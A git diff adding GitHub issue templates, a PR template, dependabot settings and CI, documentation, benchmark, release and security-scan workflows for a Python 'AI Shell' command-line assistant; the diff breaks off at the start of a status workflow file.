diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 0000000..50c1422 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,51 @@ +--- +name: Bug Report +about: Create a report to help us improve +title: '[BUG] ' +labels: ['bug', 'needs-triage'] +assignees: [] + +--- + +## Bug Description +A clear and concise description of what the bug is. + +## Steps to Reproduce +Steps to reproduce the behavior: +1. Go to '...' +2. Click on '....' +3. Scroll down to '....' +4. See error + +## Expected Behavior +A clear and concise description of what you expected to happen. + +## Actual Behavior +A clear and concise description of what actually happened. + +## Screenshots/Logs +If applicable, add screenshots or paste error logs to help explain your problem. + +``` +Paste any error messages or logs here +``` + +## Environment +- OS: [e.g. Ubuntu 22.04, Windows 11, macOS 13] +- Python Version: [e.g. 3.11.2] +- AI Shell Version: [e.g. 0.1.0] +- LLM Provider: [e.g. Gemini, Ollama] +- Model: [e.g. gemini-1.5-flash, llama3] + +## Configuration +Please share your configuration (remove any sensitive information like API keys): + +```yaml +# Paste your config.yaml here (redact API keys) +``` + +## Additional Context +Add any other context about the problem here. + +## Possible Solution +If you have an idea of how to fix this, please describe it here. \ No newline at end of file diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml new file mode 100644 index 0000000..9ebe3a0 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/config.yml @@ -0,0 +1,8 @@ +blank_issues_enabled: false +contact_links: + - name: Discussion Forum + url: https://github.com/GizzZmo/Ai_shell/discussions + about: Ask questions and discuss ideas with the community + - name: Documentation + url: https://github.com/GizzZmo/Ai_shell/blob/main/README.md + about: Check the documentation for answers to common questions \ No newline at end of file diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md new file mode 100644 index 0000000..a2318db --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.md @@ -0,0 +1,42 @@ +--- +name: Feature Request +about: Suggest an idea for this project +title: '[FEATURE] ' +labels: ['enhancement', 'needs-triage'] +assignees: [] + +--- + +## Feature Summary +A clear and concise description of what you want to happen. + +## Motivation +Describe the problem you're trying to solve or the use case this feature would address. + +## Detailed Description +Provide a detailed description of the feature you'd like to see implemented. + +## Proposed Solution +If you have an idea of how this could be implemented, describe it here. + +## Alternative Solutions +Describe any alternative solutions or features you've considered. + +## Use Cases +Provide specific examples of how this feature would be used: + +1. **Use Case 1:** ... +2. **Use Case 2:** ... + +## Additional Context +Add any other context, screenshots, mockups, or examples about the feature request here. + +## Implementation Considerations +- [ ] This might require changes to the LLM integration +- [ ] This might require changes to the command execution system +- [ ] This might require changes to the configuration system +- [ ] This might require new dependencies +- [ ] This might be a breaking change + +## Related Issues +Link any related issues here. \ No newline at end of file diff --git a/.github/ISSUE_TEMPLATE/security.md b/.github/ISSUE_TEMPLATE/security.md new file mode 100644 index 0000000..b8c6fac --- /dev/null +++ b/.github/ISSUE_TEMPLATE/security.md @@ -0,0 +1,46 @@ +--- +name: Security Issue +about: Report a security vulnerability +title: '[SECURITY] ' +labels: ['security', 'high-priority'] +assignees: [] + +--- + +## ⚠️ Security Issue + +**Please do not report security vulnerabilities through public GitHub issues.** + +If you believe you have found a security vulnerability in AI Shell, please report it to us privately. We appreciate your efforts to responsibly disclose your findings. + +## How to Report + +1. **Email**: Send details to [maintainer@example.com] (replace with actual email) +2. **Include**: + - Description of the vulnerability + - Steps to reproduce + - Potential impact + - Suggested fix (if any) + +## What to Expect + +- We will acknowledge receipt within 48 hours +- We will provide a detailed response within 7 days +- We will work with you to understand and address the issue +- We will coordinate disclosure timing + +## Security Considerations in AI Shell + +AI Shell handles: +- Command execution on local systems +- API keys and credentials +- External LLM provider communications +- User input processing + +Please be especially mindful of issues related to: +- Command injection vulnerabilities +- Credential exposure +- Unsafe command execution +- API key leakage + +Thank you for helping keep AI Shell and its users safe! \ No newline at end of file diff --git a/.github/dependabot.yml b/.github/dependabot.yml new file mode 100644 index 0000000..c770ea6 --- /dev/null +++ b/.github/dependabot.yml @@ -0,0 +1,35 @@ +version: 2 +updates: + # Python dependencies + - package-ecosystem: "pip" + directory: "/" + schedule: + interval: "weekly" + day: "monday" + time: "09:00" + open-pull-requests-limit: 5 + reviewers: + - "GizzZmo" + labels: + - "dependencies" + - "python" + commit-message: + prefix: "deps" + include: "scope" + + # GitHub Actions + - package-ecosystem: "github-actions" + directory: "/" + schedule: + interval: "weekly" + day: "monday" + time: "09:00" + open-pull-requests-limit: 3 + reviewers: + - "GizzZmo" + labels: + - "dependencies" + - "github-actions" + commit-message: + prefix: "ci" + include: "scope" \ No newline at end of file diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md new file mode 100644 index 0000000..1dd32d9 --- /dev/null +++ b/.github/pull_request_template.md @@ -0,0 +1,55 @@ +## Description +Briefly describe the changes in this PR. + +## Type of Change +Please delete options that are not relevant. + +- [ ] Bug fix (non-breaking change which fixes an issue) +- [ ] New feature (non-breaking change which adds functionality) +- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected) +- [ ] Documentation update +- [ ] Performance improvement +- [ ] Code refactoring +- [ ] CI/CD changes + +## Related Issues +Closes #(issue number) + +## Changes Made +- [ ] Change 1 +- [ ] Change 2 +- [ ] Change 3 + +## Testing +- [ ] Tests pass locally (`python -m pytest tests/`) +- [ ] Code is properly formatted (`black ai_shell/ tests/`) +- [ ] Linting passes (`flake8 ai_shell/ tests/`) +- [ ] I have added tests that prove my fix is effective or that my feature works +- [ ] New and existing unit tests pass locally with my changes + +## Security Considerations +- [ ] This change does not introduce security vulnerabilities +- [ ] Command execution is properly validated +- [ ] No sensitive information is exposed in logs +- [ ] API keys and credentials are handled securely + +## Documentation +- [ ] I have updated the documentation accordingly +- [ ] I have added docstrings to new functions/classes +- [ ] Examples are updated if needed +- [ ] README.md is updated if needed + +## Screenshots (if applicable) +Add screenshots to help explain your changes. + +## Checklist +- [ ] My code follows the style guidelines of this project +- [ ] I have performed a self-review of my own code +- [ ] I have commented my code, particularly in hard-to-understand areas +- [ ] My changes generate no new warnings +- [ ] I have added tests that prove my fix is effective or that my feature works +- [ ] New and existing unit tests pass locally with my changes +- [ ] Any dependent changes have been merged and published in downstream modules + +## Additional Notes +Add any other notes about the PR here. \ No newline at end of file diff --git a/.github/workflows/auto-label.yml b/.github/workflows/auto-label.yml new file mode 100644 index 0000000..5816ef5 --- /dev/null +++ b/.github/workflows/auto-label.yml @@ -0,0 +1,186 @@ +name: Auto Label + +on: + issues: + types: [opened] + pull_request: + types: [opened, synchronize] + +permissions: + contents: read + issues: write + pull-requests: write + +jobs: + label-issues: + runs-on: ubuntu-latest + if: github.event_name == 'issues' + steps: + - name: Label new issues + uses: actions/github-script@v7 + with: + script: | + const issue = context.payload.issue; + const title = issue.title.toLowerCase(); + const body = issue.body ? issue.body.toLowerCase() : ''; + + let labels = []; + + // Auto-label based on title/content + if (title.includes('bug') || title.includes('error') || title.includes('broken')) { + labels.push('bug'); + } + + if (title.includes('feature') || title.includes('enhancement') || body.includes('feature request')) { + labels.push('enhancement'); + } + + if (title.includes('doc') || title.includes('readme') || body.includes('documentation')) { + labels.push('documentation'); + } + + if (title.includes('security') || body.includes('vulnerability') || body.includes('security')) { + labels.push('security'); + } + + if (title.includes('performance') || body.includes('slow') || body.includes('performance')) { + labels.push('performance'); + } + + // Component-based labels + if (body.includes('gemini') || body.includes('llm') || body.includes('provider')) { + labels.push('llm-integration'); + } + + if (body.includes('config') || body.includes('configuration') || body.includes('yaml')) { + labels.push('configuration'); + } + + if (body.includes('command') || body.includes('execution') || body.includes('shell')) { + labels.push('command-execution'); + } + + if (body.includes('metasploit') || body.includes('wapiti') || body.includes('security testing')) { + labels.push('security-tools'); + } + + // Priority labels based on keywords + if (title.includes('critical') || body.includes('critical') || + title.includes('urgent') || body.includes('urgent')) { + labels.push('high-priority'); + } + + // Add needs-triage by default + labels.push('needs-triage'); + + if (labels.length > 0) { + await github.rest.issues.addLabels({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: issue.number, + labels: labels + }); + } + + label-prs: + runs-on: ubuntu-latest + if: github.event_name == 'pull_request' + steps: + - name: Checkout + uses: actions/checkout@v5 + with: + fetch-depth: 0 + + - name: Label pull requests + uses: actions/github-script@v7 + with: + script: | + const pr = context.payload.pull_request; + const title = pr.title.toLowerCase(); + const body = pr.body ? pr.body.toLowerCase() : ''; + + let labels = []; + + // Get changed files + const files = await github.rest.pulls.listFiles({ + owner: context.repo.owner, + repo: context.repo.repo, + pull_number: pr.number + }); + + const changedFiles = files.data.map(file => file.filename); + const changedContent = changedFiles.join(' ').toLowerCase(); + + // Auto-label based on changed files + if (changedFiles.some(file => file.startsWith('.github/workflows/'))) { + labels.push('ci-cd'); + } + + if (changedFiles.some(file => file.endsWith('.md'))) { + labels.push('documentation'); + } + + if (changedFiles.some(file => file.includes('test'))) { + labels.push('tests'); + } + + if (changedFiles.some(file => file.includes('config'))) { + labels.push('configuration'); + } + + if (changedFiles.some(file => file.includes('llm'))) { + labels.push('llm-integration'); + } + + if (changedFiles.some(file => file.includes('executor'))) { + labels.push('command-execution'); + } + + // Size labels based on changes + const totalChanges = files.data.reduce((sum, file) => sum + file.changes, 0); + if (totalChanges < 10) { + labels.push('size/XS'); + } else if (totalChanges < 50) { + labels.push('size/S'); + } else if (totalChanges < 100) { + labels.push('size/M'); + } else if (totalChanges < 500) { + labels.push('size/L'); + } else { + labels.push('size/XL'); + } + + // Type labels based on title/content + if (title.includes('fix') || title.includes('bug')) { + labels.push('bug'); + } + + if (title.includes('feat') || title.includes('add') || title.includes('feature')) { + labels.push('enhancement'); + } + + if (title.includes('deps') || title.includes('dependency')) { + labels.push('dependencies'); + } + + if (title.includes('perf') || title.includes('performance')) { + labels.push('performance'); + } + + if (title.includes('refactor')) { + labels.push('refactoring'); + } + + // Check if PR is draft + if (pr.draft) { + labels.push('work-in-progress'); + } + + if (labels.length > 0) { + await github.rest.issues.addLabels({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: pr.number, + labels: labels + }); + } \ No newline at end of file diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 0000000..5d4370c --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,100 @@ +# CI Workflow for AI Shell +name: CI + +on: + push: + branches: [ main, master ] + pull_request: + branches: [ main, master ] + workflow_dispatch: + +jobs: + test: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, windows-latest, macos-latest] + python-version: ["3.9", "3.10", "3.11", "3.12"] + exclude: + # Reduce matrix size for efficiency while maintaining coverage + - os: windows-latest + python-version: "3.9" + - os: windows-latest + python-version: "3.10" + - os: macos-latest + python-version: "3.9" + - os: macos-latest + python-version: "3.10" + + steps: + - uses: actions/checkout@v5 + + - name: Set up Python ${{ matrix.python-version }} + uses: actions/setup-python@v6 + with: + python-version: ${{ matrix.python-version }} + + - name: Install dependencies + run: | + python -m pip install --upgrade pip + pip install -r requirements.txt + pip install pytest pytest-cov black flake8 + + - name: Lint with flake8 (Ubuntu only) + if: matrix.os == 'ubuntu-latest' + run: | + # stop the build if there are Python syntax errors or undefined names + flake8 ai_shell/ tests/ --count --select=E9,F63,F7,F82 --show-source --statistics + # exit-zero treats all errors as warnings for existing code + flake8 ai_shell/ tests/ --count --exit-zero --max-complexity=20 --max-line-length=127 --statistics + + - name: Check code formatting with black (Ubuntu only) + if: matrix.os == 'ubuntu-latest' + run: | + # Show formatting differences but don't fail on existing code + black --check --diff ai_shell/ tests/ || echo "Code formatting issues found but not failing CI" + + - name: Test with pytest + run: | + python -m pytest tests/ -v --cov=ai_shell --cov-report=xml + + - name: Test package installation + shell: bash + run: | + pip install -e . + ai-shell --help || echo "Help command completed" + + - name: Upload coverage to Codecov + if: matrix.python-version == '3.11' && matrix.os == 'ubuntu-latest' + uses: codecov/codecov-action@v3 + with: + file: ./coverage.xml + fail_ci_if_error: false + + lint: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v5 + + - name: Set up Python + uses: actions/setup-python@v6 + with: + python-version: '3.11' + + - name: Install dependencies + run: | + python -m pip install --upgrade pip + pip install black flake8 + + - name: Run comprehensive linting + run: | + # Check for syntax errors and undefined names (these should fail) + flake8 ai_shell/ tests/ --count --select=E9,F63,F7,F82 --show-source --statistics + # Full linting with reasonable limits (but don't fail for existing issues) + flake8 ai_shell/ tests/ --count --exit-zero --max-complexity=20 --max-line-length=127 --statistics + + - name: Check black formatting + run: | + # Show formatting differences but don't fail on existing code + black --check ai_shell/ tests/ || echo "Code formatting issues found but not failing CI" \ No newline at end of file diff --git a/.github/workflows/deployment-assets.yml b/.github/workflows/deployment-assets.yml new file mode 100644 index 0000000..6214eed --- /dev/null +++ b/.github/workflows/deployment-assets.yml @@ -0,0 +1,66 @@ +name: deployment-assets + +on: + push: + branches: [ main, master ] + tags: + - "v*" + pull_request: + branches: [ main, master ] + workflow_dispatch: + +permissions: + contents: read + +jobs: + build-assets: + name: Build Distribution Assets + runs-on: ubuntu-latest + steps: + - name: Checkout code + uses: actions/checkout@v5 + + - name: Set up Python + uses: actions/setup-python@v6 + with: + python-version: "3.11" + + - name: Build package assets + run: | + python -m pip install --upgrade pip + pip install build + python -m build + + - name: Upload build artifacts + uses: actions/upload-artifact@v4 + with: + name: python-distribution-assets + path: dist/* + if-no-files-found: error + retention-days: 14 + + deploy-release-assets: + name: Deploy Release Assets + if: github.event_name == 'push' && startsWith(github.ref, 'refs/tags/v') + needs: build-assets + runs-on: ubuntu-latest + permissions: + contents: write + steps: + - name: Download build artifacts + uses: actions/download-artifact@v4.1.3 + with: + name: python-distribution-assets + path: dist + + - name: Generate checksum asset + run: | + cd dist + sha256sum * > SHA256SUMS.txt + + - name: Create release and upload assets + uses: softprops/action-gh-release@v2 + with: + files: | + dist/* + generate_release_notes: true diff --git a/.github/workflows/documentation.yml b/.github/workflows/documentation.yml new file mode 100644 index 0000000..9fd5b5e --- /dev/null +++ b/.github/workflows/documentation.yml @@ -0,0 +1,220 @@ +name: Documentation + +on: + push: + branches: [ main, master ] + paths: + - 'docs/**' + - 'README.md' + - 'CONTRIBUTING.md' + - '*.md' + pull_request: + branches: [ main, master ] + paths: + - 'docs/**' + - 'README.md' + - 'CONTRIBUTING.md' + - '*.md' + workflow_dispatch: + +permissions: + contents: read + pages: write + id-token: write + +concurrency: + group: "pages" + cancel-in-progress: false + +jobs: + validate-docs: + name: Validate Documentation + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v5 + + - name: Set up Python + uses: actions/setup-python@v6 + with: + python-version: '3.11' + + - name: Install validation tools + run: | + pip install markdown + npm install -g markdown-link-check + + - name: Validate markdown syntax + run: | + pip install markdown + python -c " + import markdown, glob, sys + files = glob.glob('**/*.md', recursive=True) + for f in files: + if '/.git/' not in f and '/node_modules/' not in f: + try: + with open(f) as file: markdown.markdown(file.read()) + print(f'✅ {f} OK') + except Exception as e: + print(f'❌ {f} error: {e}'); sys.exit(1) + " + + - name: Check internal links + run: | + python -c " + import re, glob, os, sys + + def extract_links(content): + # Remove fenced code blocks to avoid matching code patterns as links + content = re.sub(r'\`\`\`.*?\`\`\`', '', content, flags=re.DOTALL) + # Remove inline code spans + content = re.sub(r'\`[^\`]+\`', '', content) + # Find all markdown links: [text](url) + return re.findall(r'\[[^\]]*\]\(([^)]+)\)', content) + + broken = [] + for f in sorted(glob.glob('**/*.md', recursive=True)): + if '/.git/' in f or '/node_modules/' in f: + continue + with open(f) as file: + content = file.read() + for link in extract_links(content): + # Skip external links and anchor-only links + if link.startswith('http') or link.startswith('#') or link.startswith('mailto:'): + continue + # Strip any anchor fragment from the path + path_part = link.split('#')[0] + if not path_part: + continue + target = os.path.normpath(os.path.join(os.path.dirname(f), path_part)) + if not os.path.exists(target): + print(f'Broken internal link in {f}: {link}') + broken.append((f, link)) + else: + print(f'OK in {f}: {link}') + + if broken: + sys.exit(1) + " + + - name: Check documentation completeness + run: | + # Ensure key documentation files exist + required_docs=("README.md" "CONTRIBUTING.md" "docs/EXAMPLES.md" "docs/ARCHITECTURE.md") + for doc in "${required_docs[@]}"; do + if [[ ! -f "$doc" ]]; then + echo "❌ Missing required documentation: $doc" + exit 1 + else + echo "✅ Found: $doc" + fi + done + + - name: Validate code examples in docs + run: | + python -c " + import re, ast, glob + for f in glob.glob('**/*.md', recursive=True): + if '/.git/' not in f and '/node_modules/' not in f: + with open(f) as file: content = file.read() + blocks = re.findall(r'```python\n(.*?)\n```', content, re.DOTALL) + for i, block in enumerate(blocks): + if any(x in block for x in ['import', 'def ', 'class ']): + try: ast.parse(block); print(f'✅ Code block {i+1} in {f} OK') + except SyntaxError as e: print(f'❌ Syntax error in {f}: {e}') + " + + build-docs: + name: Build Documentation Site + runs-on: ubuntu-latest + needs: validate-docs + if: github.ref == 'refs/heads/main' || github.ref == 'refs/heads/master' + steps: + - name: Checkout + uses: actions/checkout@v5 + + - name: Set up Python + uses: actions/setup-python@v6 + with: + python-version: '3.11' + + - name: Install dependencies + run: | + pip install mkdocs mkdocs-material mkdocs-mermaid2-plugin + pip install -r requirements.txt + + - name: Create mkdocs config + run: | + cat > mkdocs.yml << 'MKDOCS_CONFIG' + site_name: AI Shell Documentation + site_description: An intelligent, multi-modal command-line assistant + site_url: https://gizzmo.github.io/Ai_shell/ + repo_url: https://github.com/GizzZmo/Ai_shell + repo_name: GizzZmo/Ai_shell + + theme: + name: material + palette: + - scheme: default + primary: blue + accent: blue + toggle: + icon: material/brightness-7 + name: Switch to dark mode + - scheme: slate + primary: blue + accent: blue + toggle: + icon: material/brightness-4 + name: Switch to light mode + features: + - navigation.tabs + - navigation.sections + - navigation.top + - search.highlight + - content.code.copy + + nav: + - Home: index.md + - Examples: docs/EXAMPLES.md + - Architecture: docs/ARCHITECTURE.md + - Troubleshooting: docs/TROUBLESHOOTING.md + - Contributing: CONTRIBUTING.md + + plugins: + - search + + markdown_extensions: + - admonition + - codehilite + - pymdownx.superfences + MKDOCS_CONFIG + + - name: Create index.md from README + run: | + mkdir -p docs + cp README.md docs/index.md + + - name: Build documentation + run: mkdocs build + + - name: Setup Pages + uses: actions/configure-pages@v4 + + - name: Upload artifact + uses: actions/upload-pages-artifact@v3 + with: + path: './site' + + deploy-docs: + name: Deploy Documentation + environment: + name: github-pages + url: ${{ steps.deployment.outputs.page_url }} + runs-on: ubuntu-latest + needs: build-docs + if: github.ref == 'refs/heads/main' || github.ref == 'refs/heads/master' + steps: + - name: Deploy to GitHub Pages + id: deployment + uses: actions/deploy-pages@v4 \ No newline at end of file diff --git a/.github/workflows/performance.yml b/.github/workflows/performance.yml new file mode 100644 index 0000000..207efd5 --- /dev/null +++ b/.github/workflows/performance.yml @@ -0,0 +1,198 @@ +name: Performance + +on: + push: + branches: [ main, master ] + pull_request: + branches: [ main, master ] + schedule: + # Run performance tests weekly + - cron: '0 2 * * 1' + workflow_dispatch: + +jobs: + benchmark: + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v5 + + - name: Set up Python + uses: actions/setup-python@v6 + with: + python-version: '3.11' + + - name: Install dependencies + run: | + python -m pip install --upgrade pip + pip install -r requirements.txt + pip install pytest pytest-benchmark memory-profiler psutil + + - name: Create benchmark tests + run: | + mkdir -p tests/benchmarks + cat > tests/benchmarks/test_performance.py << 'EOF' + """Performance benchmark tests for AI Shell.""" + import pytest + import time + import psutil + import os + from unittest.mock import Mock, patch + from ai_shell.config import Config + from ai_shell.llm import LLMProvider + + class TestConfigPerformance: + """Test configuration loading performance.""" + + def test_config_initialization_time(self, benchmark): + """Benchmark configuration initialization.""" + def init_config(): + return Config() + + result = benchmark(init_config) + assert result is not None + + def test_config_large_file_loading(self, benchmark, tmp_path): + """Benchmark loading large configuration files.""" + # Create a large config file + large_config = tmp_path / "large_config.yaml" + config_content = "llm:\n provider: gemini\n" + # Add many nested configurations + for i in range(1000): + config_content += f" option_{i}: value_{i}\n" + + large_config.write_text(config_content) + + def load_large_config(): + return Config(str(large_config)) + + result = benchmark(load_large_config) + assert result is not None + + class TestMemoryUsage: + """Test memory usage of core components.""" + + def test_config_memory_usage(self): + """Test memory usage of configuration system.""" + process = psutil.Process(os.getpid()) + initial_memory = process.memory_info().rss + + # Create multiple config instances + configs = [] + for _ in range(100): + configs.append(Config()) + + final_memory = process.memory_info().rss + memory_increase = final_memory - initial_memory + + # Memory increase should be reasonable (less than 50MB for 100 configs) + assert memory_increase < 50 * 1024 * 1024 + + @patch('ai_shell.llm.requests.post') + def test_llm_provider_memory_usage(self, mock_post): + """Test memory usage of LLM provider.""" + mock_response = Mock() + mock_response.json.return_value = { + 'candidates': [{'content': {'parts': [{'text': 'test response'}]}}] + } + mock_response.raise_for_status.return_value = None + mock_post.return_value = mock_response + + process = psutil.Process(os.getpid()) + initial_memory = process.memory_info().rss + + config = Config() + config.set('llm.gemini.api_key', 'test_key') + + # Create multiple provider instances + providers = [] + for _ in range(50): + provider = LLMProvider(config) + providers.append(provider) + + final_memory = process.memory_info().rss + memory_increase = final_memory - initial_memory + + # Memory increase should be reasonable + assert memory_increase < 100 * 1024 * 1024 + + class TestResponseTime: + """Test response time of core operations.""" + + def test_config_get_performance(self, benchmark): + """Benchmark configuration value retrieval.""" + config = Config() + + def get_config_value(): + return config.get('llm.provider') + + result = benchmark(get_config_value) + assert result == 'gemini' + + def test_config_set_performance(self, benchmark): + """Benchmark configuration value setting.""" + config = Config() + + def set_config_value(): + config.set('test.benchmark', 'value') + + benchmark(set_config_value) + assert config.get('test.benchmark') == 'value' + EOF + + - name: Run benchmark tests + run: | + python -m pytest tests/benchmarks/ -v --benchmark-only --benchmark-json=benchmark.json + + - name: Performance regression check + run: | + python << 'EOF' + import json + import os + + if os.path.exists('benchmark.json'): + with open('benchmark.json', 'r') as f: + results = json.load(f) + + print("=== Performance Benchmark Results ===") + for benchmark in results['benchmarks']: + name = benchmark['name'] + mean_time = benchmark['stats']['mean'] + median_time = benchmark['stats']['median'] + print(f"{name}:") + print(f" Mean: {mean_time:.6f}s") + print(f" Median: {median_time:.6f}s") + + # Set performance thresholds + if 'config_initialization' in name and mean_time > 1.0: + print(f"⚠️ WARNING: {name} is slow ({mean_time:.3f}s)") + elif 'memory_usage' in name: + print(f"✅ Memory test completed") + elif mean_time > 0.1: + print(f"⚠️ WARNING: {name} is slow ({mean_time:.3f}s)") + else: + print(f"✅ {name} performance OK") + + print("\n=== Performance Summary ===") + print("All benchmarks completed successfully!") + else: + print("No benchmark results found") + EOF + + - name: Upload benchmark results + uses: actions/upload-artifact@v4 + with: + name: benchmark-results + path: benchmark.json + retention-days: 30 + + - name: System resource monitoring + run: | + echo "=== System Resources ===" + echo "CPU Usage:" + python -c "import psutil; print(f' {psutil.cpu_percent(interval=1)}%')" + echo "Memory Usage:" + python -c "import psutil; mem = psutil.virtual_memory(); print(f' {mem.percent}% ({mem.used // 1024**2} MB / {mem.total // 1024**2} MB)')" + echo "Disk Usage:" + python -c "import psutil; disk = psutil.disk_usage('/'); print(f' {disk.percent}% ({disk.used // 1024**3} GB / {disk.total // 1024**3} GB)')" \ No newline at end of file diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 0000000..461eea4 --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,149 @@ +name: Release + +on: + push: + tags: + - 'v*' + workflow_dispatch: + inputs: + version: + description: 'Version to release (e.g., v1.0.0)' + required: true + type: string + +permissions: + contents: write + discussions: write + +jobs: + validate: + runs-on: ubuntu-latest + steps: + - name: Checkout code + uses: actions/checkout@v5 + with: + fetch-depth: 0 + + - name: Set up Python + uses: actions/setup-python@v6 + with: + python-version: '3.11' + + - name: Install dependencies + run: | + python -m pip install --upgrade pip + pip install -r requirements.txt + pip install pytest pytest-cov black flake8 build + + - name: Run tests + run: python -m pytest tests/ -v + + - name: Lint code + run: | + flake8 ai_shell/ tests/ --count --select=E9,F63,F7,F82 --show-source --statistics + black --check ai_shell/ tests/ + + - name: Build package + run: python -m build + + release: + needs: validate + runs-on: ubuntu-latest + steps: + - name: Checkout code + uses: actions/checkout@v5 + with: + fetch-depth: 0 + + - name: Set up Python + uses: actions/setup-python@v6 + with: + python-version: '3.11' + + - name: Install build dependencies + run: | + python -m pip install --upgrade pip + pip install build twine + + - name: Build package + run: python -m build + + - name: Generate changelog + id: changelog + run: | + # Get the current tag + if [ "${{ github.event_name }}" = "workflow_dispatch" ]; then + CURRENT_TAG="${{ github.event.inputs.version }}" + else + CURRENT_TAG=${GITHUB_REF#refs/tags/} + fi + + # Get the previous tag + PREVIOUS_TAG=$(git describe --tags --abbrev=0 HEAD~1 2>/dev/null || echo "") + + echo "current_tag=$CURRENT_TAG" >> $GITHUB_OUTPUT + echo "previous_tag=$PREVIOUS_TAG" >> $GITHUB_OUTPUT + + # Generate changelog + if [ -n "$PREVIOUS_TAG" ]; then + echo "## Changes since $PREVIOUS_TAG" > CHANGELOG.md + echo "" >> CHANGELOG.md + git log --pretty=format:"- %s (%h)" $PREVIOUS_TAG..HEAD >> CHANGELOG.md + else + echo "## Initial Release" > CHANGELOG.md + echo "" >> CHANGELOG.md + echo "First release of AI Shell" >> CHANGELOG.md + fi + + echo "changelog<> $GITHUB_OUTPUT + cat CHANGELOG.md >> $GITHUB_OUTPUT + echo "EOF" >> $GITHUB_OUTPUT + + - name: Create GitHub Release + uses: actions/create-release@v1 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + with: + tag_name: ${{ steps.changelog.outputs.current_tag }} + release_name: Release ${{ steps.changelog.outputs.current_tag }} + body: ${{ steps.changelog.outputs.changelog }} + draft: false + prerelease: ${{ contains(steps.changelog.outputs.current_tag, 'alpha') || contains(steps.changelog.outputs.current_tag, 'beta') || contains(steps.changelog.outputs.current_tag, 'rc') }} + + - name: Upload Release Assets + uses: actions/upload-release-asset@v1 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + with: + upload_url: ${{ steps.create_release.outputs.upload_url }} + asset_path: dist/ + asset_name: ai-shell-${{ steps.changelog.outputs.current_tag }}-py3-none-any.whl + asset_content_type: application/zip + + publish-pypi: + needs: [validate, release] + runs-on: ubuntu-latest + environment: release + if: startsWith(github.ref, 'refs/tags/v') && !contains(github.ref, 'alpha') && !contains(github.ref, 'beta') + steps: + - name: Checkout code + uses: actions/checkout@v5 + + - name: Set up Python + uses: actions/setup-python@v6 + with: + python-version: '3.11' + + - name: Install build dependencies + run: | + python -m pip install --upgrade pip + pip install build twine + + - name: Build package + run: python -m build + + - name: Publish to PyPI + env: + TWINE_USERNAME: __token__ + TWINE_PASSWORD: ${{ secrets.PYPI_API_TOKEN }} + run: twine upload dist/* \ No newline at end of file diff --git a/.github/workflows/security.yml b/.github/workflows/security.yml new file mode 100644 index 0000000..d80081a --- /dev/null +++ b/.github/workflows/security.yml @@ -0,0 +1,142 @@ +name: Security + +on: + push: + branches: [ main, master ] + pull_request: + branches: [ main, master ] + schedule: + # Run daily at 6 AM UTC + - cron: '0 6 * * *' + workflow_dispatch: + +permissions: + contents: read + security-events: write + +jobs: + codeql: + name: CodeQL Analysis + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + language: [ 'python' ] + + steps: + - name: Checkout repository + uses: actions/checkout@v5 + + - name: Initialize CodeQL + uses: github/codeql-action/init@v3 + with: + languages: ${{ matrix.language }} + queries: security-extended,security-and-quality + + - name: Set up Python + uses: actions/setup-python@v6 + with: + python-version: '3.11' + + - name: Install dependencies + run: | + python -m pip install --upgrade pip + pip install -r requirements.txt + + - name: Perform CodeQL Analysis + uses: github/codeql-action/analyze@v3 + with: + category: "/language:${{matrix.language}}" + + dependency-scan: + name: Dependency Vulnerability Scan + runs-on: ubuntu-latest + steps: + - name: Checkout repository + uses: actions/checkout@v5 + + - name: Set up Python + uses: actions/setup-python@v6 + with: + python-version: '3.11' + + - name: Install safety + run: pip install safety + + - name: Run safety check + run: | + pip install -r requirements.txt + safety check --json --output safety-report.json || true + safety check || echo "Vulnerabilities found, but not failing CI for now" + + - name: Upload safety report + uses: actions/upload-artifact@v4 + with: + name: safety-report + path: safety-report.json + retention-days: 30 + + secrets-scan: + name: Secrets Detection + runs-on: ubuntu-latest + steps: + - name: Checkout repository + uses: actions/checkout@v5 + with: + fetch-depth: 0 + + - name: Run Trivy for secrets + uses: aquasecurity/trivy-action@master + with: + scan-type: 'fs' + scan-ref: '.' + format: 'sarif' + output: 'trivy-secrets.sarif' + scanners: 'secret' + + - name: Upload Trivy scan results to GitHub Security tab + uses: github/codeql-action/upload-sarif@v3 + if: always() + with: + sarif_file: 'trivy-secrets.sarif' + + license-check: + name: License Compliance + runs-on: ubuntu-latest + steps: + - name: Checkout repository + uses: actions/checkout@v5 + + - name: Set up Python + uses: actions/setup-python@v6 + with: + python-version: '3.11' + + - name: Install pip-licenses + run: pip install pip-licenses + + - name: Install dependencies + run: pip install -r requirements.txt + + - name: Check licenses + run: | + pip-licenses --format=json --output-file licenses.json + pip-licenses --format=plain --output-file licenses.txt + + # Check for problematic licenses + PROBLEMATIC_LICENSES="GPL,AGPL,LGPL" + if pip-licenses --format=plain | grep -E "$PROBLEMATIC_LICENSES"; then + echo "⚠️ Problematic licenses found. Review required." + exit 1 + else + echo "✅ No problematic licenses found." + fi + + - name: Upload license report + uses: actions/upload-artifact@v4 + with: + name: license-report + path: | + licenses.json + licenses.txt + retention-days: 30 \ No newline at end of file diff --git a/.github/workflows/status.yml b/.github/workflows/status.yml new file mode 100644 index 0000000..2669b25 --- /dev/null +++ b/.github/workflows/status.yml @@ 